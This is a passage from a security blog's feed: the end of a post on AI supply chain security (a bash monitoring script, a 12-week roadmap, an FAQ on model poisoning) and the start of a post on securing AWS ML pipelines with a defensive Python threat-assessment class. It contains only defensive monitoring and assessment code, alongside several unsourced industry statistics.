        <span class="nt">--alarm-actions</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span>
<span class="o">}</span>

<span class="c"># Main execution function</span>
main<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Starting AI Supply Chain Security Monitoring..."</span>
    <span class="nb">echo</span> <span class="s2">"Timestamp: </span><span class="si">$(</span><span class="nb">date</span><span class="si">)</span><span class="s2">"</span>
    
    <span class="c"># Set up infrastructure if needed</span>
    setup_monitoring_infrastructure
    
    <span class="c"># Set up CloudWatch alarms</span>
    setup_cloudwatch_alarms
    
    <span class="c"># Run monitoring checks</span>
    monitor_model_repositories
    scan_ml_frameworks
    monitor_container_vulnerabilities
    monitor_data_sources
    check_model_integrity
    
    <span class="c"># Generate report</span>
    generate_monitoring_report
    
    <span class="nb">echo</span> <span class="s2">"AI Supply Chain Security Monitoring completed successfully"</span>
<span class="o">}</span>

<span class="c"># Execute main function</span>
main <span class="s2">"</span><span class="nv">$@</span><span class="s2">"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="implementation-roadmap-for-ai-supply-chain-security">Implementation Roadmap for AI Supply Chain Security</h2>

<h3 id="phase-1-assessment-and-foundation-weeks-1-3">Phase 1: Assessment and Foundation (Weeks 1-3)</h3>

<p><strong>Week 1: Supply Chain Discovery and Mapping</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Inventory all AI/ML components and dependencies</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Map data sources, models, frameworks, and services</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Assess current security posture and gaps</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish threat model for AI supply chain</li>
</ul>

<p><strong>Week 2: Basic Security Controls</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement vulnerability scanning for ML frameworks</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up container image security scanning</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy basic monitoring for critical components</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure initial alerting and notifications</li>
</ul>

<p><strong>Week 3: Model Integrity Framework</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement model signing and verification system</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up digital signature infrastructure</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy model provenance tracking</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure integrity verification workflows</li>
</ul>

<h3 id="phase-2-advanced-protection-weeks-4-6">Phase 2: Advanced Protection (Weeks 4-6)</h3>

<p><strong>Week 4: Data Security and Validation</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement data source validation and integrity checks</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy data poisoning detection mechanisms</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up automated data quality monitoring</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure data lineage tracking</li>
</ul>

<p><strong>Week 5: Model Security Enhancement</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy backdoor detection systems</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement adversarial robustness testing</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up behavioral anomaly detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure model performance monitoring</li>
</ul>

<p><strong>Week 6: Supply Chain Monitoring</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy continuous vulnerability scanning</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement threat intelligence integration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up automated response systems</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure compliance monitoring</li>
</ul>

<h3 id="phase-3-automation-and-response-weeks-7-9">Phase 3: Automation and Response (Weeks 7-9)</h3>

<p><strong>Week 7: Automated Defense Systems</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy automated threat response workflows</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement incident response automation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up quarantine and containment systems</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure automated remediation</li>
</ul>

<p><strong>Week 8: Advanced Analytics</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy machine learning for threat detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement behavioral analytics for anomaly detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up predictive threat modeling</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure advanced correlation and analysis</li>
</ul>

<p><strong>Week 9: Integration and Orchestration</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Integrate with existing security tools (SIEM, SOAR)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up cross-platform monitoring</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy unified security dashboards</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure comprehensive reporting</li>
</ul>

<h3 id="phase-4-optimization-and-maturity-weeks-10-12">Phase 4: Optimization and Maturity (Weeks 10-12)</h3>

<p><strong>Week 10: Performance Optimization</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Optimize detection algorithms and reduce false positives</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Improve monitoring performance and efficiency</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Fine-tune automated response systems</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Optimize cost and resource utilization</li>
</ul>

<p><strong>Week 11: Compliance and Governance</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement compliance automation and reporting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy policy-as-code for supply chain governance</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up audit trails and evidence collection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure regulatory compliance monitoring</li>
</ul>

<p><strong>Week 12: Continuous Improvement</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct security maturity assessment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement threat hunting capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up continuous improvement processes</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish metrics and KPIs for effectiveness</li>
</ul>

<h2 id="related-articles-and-additional-resources">Related Articles and Additional Resources</h2>

<h3 id="aws-documentation">AWS Documentation</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/wellarchitected/latest/security-pillar/supply-chain-security.html">AWS Supply Chain Security Best Practices</a></li>
  <li><a href="https://docs.aws.amazon.com/inspector/latest/user/scanning-ecr.html">Amazon Inspector Container Scanning</a></li>
  <li><a href="https://docs.aws.amazon.com/signer/latest/developerguide/">AWS Signer for Code Signing</a></li>
</ul>

<h3 id="industry-standards-and-frameworks">Industry Standards and Frameworks</h3>
<ul>
  <li><a href="https://www.nist.gov/itl/executive-order-improving-nations-cybersecurity/enhancing-software-supply-chain-security">NIST Supply Chain Security Framework</a></li>
  <li><a href="https://slsa.dev/">SLSA (Supply Chain Levels for Software Artifacts)</a></li>
  <li><a href="https://owasp.org/www-project-software-component-verification-standard/">OWASP Software Component Verification Standard</a></li>
</ul>

<h3 id="research-and-community-resources">Research and Community Resources</h3>
<ul>
  <li><a href="https://github.com/EthicalML/awesome-production-machine-learning#supply-chain">ML Supply Chain Compromises</a></li>
  <li><a href="https://github.com/mitre/advmlthreatmatrix">Adversarial ML Threat Matrix</a></li>
  <li><a href="https://aisecurityguidelines.org/">AI Security Community Guidelines</a></li>
</ul>

<h2 id="frequently-asked-questions">Frequently Asked Questions</h2>

<h3 id="what-is-ai-model-poisoning-and-why-should-i-care">What is AI model poisoning and why should I care?</h3>

<p>AI model poisoning is an attack where adversaries inject malicious data into training datasets or tamper with model weights to compromise predictions. With 63% of AI supply chain components containing vulnerabilities and attacks costing an average of $6.8 million per incident, any organization deploying AI models in production faces real risk. Poisoned models can produce subtly wrong outputs — misclassifying threats, approving fraudulent transactions, or leaking sensitive data — while appearing to function normally.</p>

<h3 id="how-do-i-detect-if-my-ai-model-has-been-poisoned">How do I detect if my AI model has been poisoned?</h3>

<p>Detection requires a multi-layered approach: statistical analysis of training data distributions for anomalies, model behavior monitoring for prediction drift, cryptographic hash verification of model artifacts, and automated testing with known-good validation datasets. AWS services like SageMaker Model Monitor and CloudWatch can automate continuous monitoring. The key is establishing baselines during trusted training runs and alerting on deviations.</p>

<h3 id="what-aws-services-help-protect-against-ai-supply-chain-attacks">What AWS services help protect against AI supply chain attacks?</h3>

<p>The core stack includes Amazon SageMaker (model lineage tracking, VPC isolation), AWS CodeArtifact (private model registries), Amazon Inspector (container scanning for ML environments), AWS Signer (code and model signing), and CloudTrail (audit logging for all model operations). Combine these with AWS IAM least-privilege policies and KMS encryption for a defense-in-depth approach.</p>

<h3 id="how-does-ai-supply-chain-security-differ-from-traditional-software-supply-chain-security">How does AI supply chain security differ from traditional software supply chain security?</h3>

<p>Traditional supply chain security focuses on code dependencies, package integrity, and build reproducibility. AI supply chains add unique attack surfaces: training data manipulation, model weight tampering, adversarial input crafting, and data exfiltration through model inversion. The “black box” nature of many AI models makes detection harder — a poisoned model can pass standard functional tests while containing hidden backdoors triggered by specific inputs.</p>

<h3 id="what-is-the-minimum-viable-security-for-deploying-third-party-ai-models">What is the minimum viable security for deploying third-party AI models?</h3>

<p>At minimum: verify model provenance and checksums, scan model artifacts for known vulnerabilities, deploy in isolated network environments (VPC with no internet egress), implement input/output validation, enable comprehensive audit logging, and run validation against a trusted test dataset before production deployment. This baseline catches the most common attack vectors while remaining achievable for teams new to AI security.</p>

<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "What is AI model poisoning and why should I care?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "AI model poisoning is an attack where adversaries inject malicious data into training datasets or tamper with model weights to compromise predictions. With 63% of AI supply chain components containing vulnerabilities and attacks costing an average of $6.8 million per incident, any organization deploying AI models in production faces real risk."
      }
    },
    {
      "@type": "Question",
      "name": "How do I detect if my AI model has been poisoned?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Detection requires a multi-layered approach: statistical analysis of training data distributions for anomalies, model behavior monitoring for prediction drift, cryptographic hash verification of model artifacts, and automated testing with known-good validation datasets. AWS services like SageMaker Model Monitor and CloudWatch can automate continuous monitoring."
      }
    },
    {
      "@type": "Question",
      "name": "What AWS services help protect against AI supply chain attacks?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "The core stack includes Amazon SageMaker (model lineage tracking, VPC isolation), AWS CodeArtifact (private model registries), Amazon Inspector (container scanning for ML environments), AWS Signer (code and model signing), and CloudTrail (audit logging for all model operations)."
      }
    },
    {
      "@type": "Question",
      "name": "How does AI supply chain security differ from traditional software supply chain security?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Traditional supply chain security focuses on code dependencies, package integrity, and build reproducibility. AI supply chains add unique attack surfaces: training data manipulation, model weight tampering, adversarial input crafting, and data exfiltration through model inversion."
      }
    },
    {
      "@type": "Question",
      "name": "What is the minimum viable security for deploying third-party AI models?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "At minimum: verify model provenance and checksums, scan model artifacts for known vulnerabilities, deploy in isolated network environments (VPC with no internet egress), implement input/output validation, enable comprehensive audit logging, and run validation against a trusted test dataset before production deployment."
      }
    }
  ]
}
</script>

<hr />

<p><em>This comprehensive guide provides the foundation for implementing robust AI supply chain security. The combination of threat detection, model integrity verification, and continuous monitoring creates a comprehensive defense against sophisticated supply chain attacks targeting AI systems.</em></p>]]></content><author><name>Jon (JR) Price</name></author><category term="DevSecOps" /><category term="Security" /><category term="adversarial-attacks" /><category term="ai-model-security" /><category term="ai-supply-chain-security" /><category term="ml-supply-chain" /><category term="model-poisoning-defense" /><category term="third-party-ai-security" /><summary type="html"><![CDATA[63% of AI supply chain components have vulnerabilities. Learn tested defense strategies against model poisoning, data tampering, and third-party AI risks on AWS.]]></summary></entry><entry><title type="html">Securing AWS AI/ML Pipelines: DevSecOps Integration Guide</title><link href="https://red-team.sh/posts/securing-aws-ai-ml-pipelines-devsecops-integration-guide/" rel="alternate" type="text/html" title="Securing AWS AI/ML Pipelines: DevSecOps Integration Guide" /><published>2025-08-27T06:00:00-07:00</published><updated>2025-08-27T06:00:00-07:00</updated><id>https://red-team.sh/posts/securing-aws-ai-ml-pipelines-devsecops-integration-guide</id><content type="html" xml:base="https://red-team.sh/posts/securing-aws-ai-ml-pipelines-devsecops-integration-guide/"><![CDATA[<h2 id="article-content">Article Content</h2>

<h2 id="introduction-the-critical-need-for-mlops-security">Introduction: The Critical Need for MLOps Security</h2>

<p>The integration of machine learning into production systems has revolutionized enterprise applications, with <strong>87% of organizations</strong> now running ML models in production environments. However, this rapid adoption has created significant security gaps: <strong>71% of ML pipelines</strong> lack adequate security controls, and <strong>45% of data scientists</strong> report having insufficient security training for production deployments.</p>

<p>Traditional DevSecOps practices don’t directly translate to ML workflows due to unique challenges including sensitive training data, model intellectual property, and complex multi-stage pipelines. AWS provides comprehensive services for MLOps, but securing these pipelines requires specialized knowledge of both security best practices and ML-specific attack vectors.</p>

<p>Recent security incidents highlight the urgency: <strong>34% of ML attacks</strong> target the training pipeline, <strong>28% focus on data poisoning</strong>, and <strong>23% attempt model extraction</strong>. The financial impact averages <strong>$4.1 million per incident</strong>, making MLOps security a critical business imperative.</p>

<p>This guide provides practical, tested implementations for securing AI/ML pipelines on AWS throughout the entire development lifecycle. We’ll cover data security, model protection, deployment safety, and monitoring strategies with working code examples and enterprise-grade configurations.</p>

<h2 id="understanding-ml-pipeline-security-threats">Understanding ML Pipeline Security Threats</h2>

<h3 id="the-ml-attack-surface">The ML Attack Surface</h3>

<p>AI/ML pipelines introduce unique security challenges that extend beyond traditional application security:</p>

<p><strong>Data Pipeline Vulnerabilities</strong>: Training datasets often contain sensitive information and represent valuable intellectual property. <strong>67% of ML security incidents</strong> involve data exfiltration or manipulation during the data preparation phase.</p>

<p><strong>Model Intellectual Property</strong>: Trained models represent significant business value and competitive advantage. <strong>Model extraction attacks</strong> can steal proprietary algorithms with <strong>89% success rates</strong> against unprotected endpoints.</p>

<p><strong>Training Infrastructure</strong>: ML training requires significant computational resources, making infrastructure a target for both resource theft and supply chain attacks. <strong>52% of container-based ML deployments</strong> contain vulnerabilities.</p>

<p><strong>Deployment Attack Vectors</strong>: ML models in production face adversarial attacks, model poisoning, and inference manipulation. <strong>Real-time inference endpoints</strong> experience <strong>2.3x more attack attempts</strong> than traditional web applications.</p>

<h3 id="aws-ml-security-threat-model">AWS ML Security Threat Model</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span><span class="p">,</span> <span class="n">Tuple</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="k">class</span> <span class="nc">MLPipelineThreatModel</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">
    Comprehensive threat modeling for AWS ML pipelines
    Identifies and categorizes security risks throughout the ML lifecycle
    </span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">region_name</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="sh">'</span><span class="s">us-east-1</span><span class="sh">'</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sagemaker</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sagemaker</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">iam</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">iam</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">kms</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">kms</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        
        <span class="c1"># Initialize threat categories
</span>        <span class="n">self</span><span class="p">.</span><span class="n">threat_categories</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">data_security</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sh">'</span><span class="s">unauthorized_data_access</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">data_poisoning</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">data_exfiltration</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">privacy_violations</span><span class="sh">'</span>
            <span class="p">],</span>
            <span class="sh">'</span><span class="s">model_security</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sh">'</span><span class="s">model_theft</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">model_poisoning</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">adversarial_attacks</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">model_inversion</span><span class="sh">'</span>
            <span class="p">],</span>
            <span class="sh">'</span><span class="s">infrastructure_security</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sh">'</span><span class="s">container_vulnerabilities</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">resource_hijacking</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">supply_chain_attacks</span><span class="sh">'</span>
            <span class="p">],</span>
            <span class="sh">'</span><span class="s">deployment_security</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="sh">'</span><span class="s">inference_manipulation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">endpoint_exploitation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">monitoring_bypass</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">rollback_attacks</span><span class="sh">'</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">assess_pipeline_threats</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Comprehensive threat assessment for ML pipeline</span><span class="sh">"""</span>
        
        <span class="n">assessment_results</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">pipeline_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">pipeline_name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">assessment_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">overall_risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">compliance_gaps</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Analyze each component of the ML pipeline
</span>        <span class="k">for</span> <span class="n">component</span><span class="p">,</span> <span class="n">config</span> <span class="ow">in</span> <span class="n">pipeline_config</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="k">if</span> <span class="n">component</span> <span class="o">==</span> <span class="sh">'</span><span class="s">data_processing</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">data_threats</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_assess_data_security_threats</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
                <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">data_security</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">data_threats</span>
                
            <span class="k">elif</span> <span class="n">component</span> <span class="o">==</span> <span class="sh">'</span><span class="s">training</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">training_threats</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_assess_training_security_threats</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
                <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">model_security</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">training_threats</span>
                
            <span class="k">elif</span> <span class="n">component</span> <span class="o">==</span> <span class="sh">'</span><span class="s">deployment</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">deployment_threats</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_assess_deployment_security_threats</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
                <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">deployment_security</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">deployment_threats</span>
                
            <span class="k">elif</span> <span class="n">component</span> <span class="o">==</span> <span class="sh">'</span><span class="s">infrastructure</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">infra_threats</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_assess_infrastructure_security_threats</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
                <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">infrastructure_security</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">infra_threats</span>
        
        <span class="c1"># Calculate overall risk score
</span>        <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">overall_risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_calculate_overall_risk_score</span><span class="p">(</span>
            <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Generate recommendations
</span>        <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_generate_security_recommendations</span><span class="p">(</span>
            <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_analysis</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="k">return</span> <span class="n">assessment_results</span>
    
    <span class="k">def</span> <span class="nf">_assess_data_security_threats</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">data_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess threats specific to data processing components</span><span class="sh">"""</span>
        
        <span class="n">threats</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Check data encryption
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">data_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">encryption_enabled</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">data_exposure</span><span class="sh">'</span><span class="p">,</span>
